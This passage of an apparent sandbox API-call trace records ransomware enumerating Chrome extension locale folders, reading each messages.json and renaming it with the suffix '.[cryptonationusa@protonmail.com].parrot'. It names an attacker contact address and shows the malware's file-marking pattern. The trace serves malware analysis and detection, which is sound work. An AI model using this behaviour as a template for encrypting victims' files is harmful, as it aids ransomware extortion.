cAlternateFileName="")) returned 1 [0073.335] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.335] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.335] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x656b8f00, ftLastWriteTime.dwHighDateTime=0x1cccade, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.335] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.336] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.336] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.337] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.337] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd2, lpOverlapped=0x0) returned 1 [0073.338] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.338] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.338] CloseHandle (hObject=0x28c) returned 1 [0073.339] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.341] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.342] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb932d020, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb932d020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.343] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb932d020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.343] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.343] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.343] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.343] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.343] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.343] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.344] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x220, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.344] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.344] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.345] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.345] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x108, lpOverlapped=0x0) returned 1 [0073.345] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.346] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x220, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.346] CloseHandle (hObject=0x28c) returned 1 [0073.346] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.377] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pl\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.377] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb93792e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb93792e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.378] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb932d020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.379] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.464] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.464] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.464] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.464] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.464] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.465] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f6, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.465] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.465] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.466] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.466] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xde, lpOverlapped=0x0) returned 1 [0073.467] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.467] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.467] CloseHandle (hObject=0x28c) returned 1 [0073.468] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_br\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.471] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_BR\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.471] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb945db20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb945db20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.472] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a94850, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb945db20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.472] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.472] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.472] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.472] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.472] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.473] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f7, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.473] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.473] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.474] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.474] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xdf, lpOverlapped=0x0) returned 1 [0073.475] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.475] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.475] CloseHandle (hObject=0x28c) returned 1 [0073.475] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.478] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.478] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb945db20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb945db20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.479] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a6e6f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6f690, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb945db20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0073.479] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.479] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0073.479] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.480] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0073.480] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0073.480] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86d1bfb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0073.480] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x221, nNumberOfBytesToLockHigh=0x0) returned 1 [0073.480] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0073.480] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0073.481] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.481] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x109, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x109, lpOverlapped=0x0) returned 1 [0073.482] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.482] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x221, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0073.482] CloseHandle (hObject=0x28c) returned 1 [0073.482] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0073.523] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0073.524] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb94cff40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb94cff40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.525] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86a48590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, 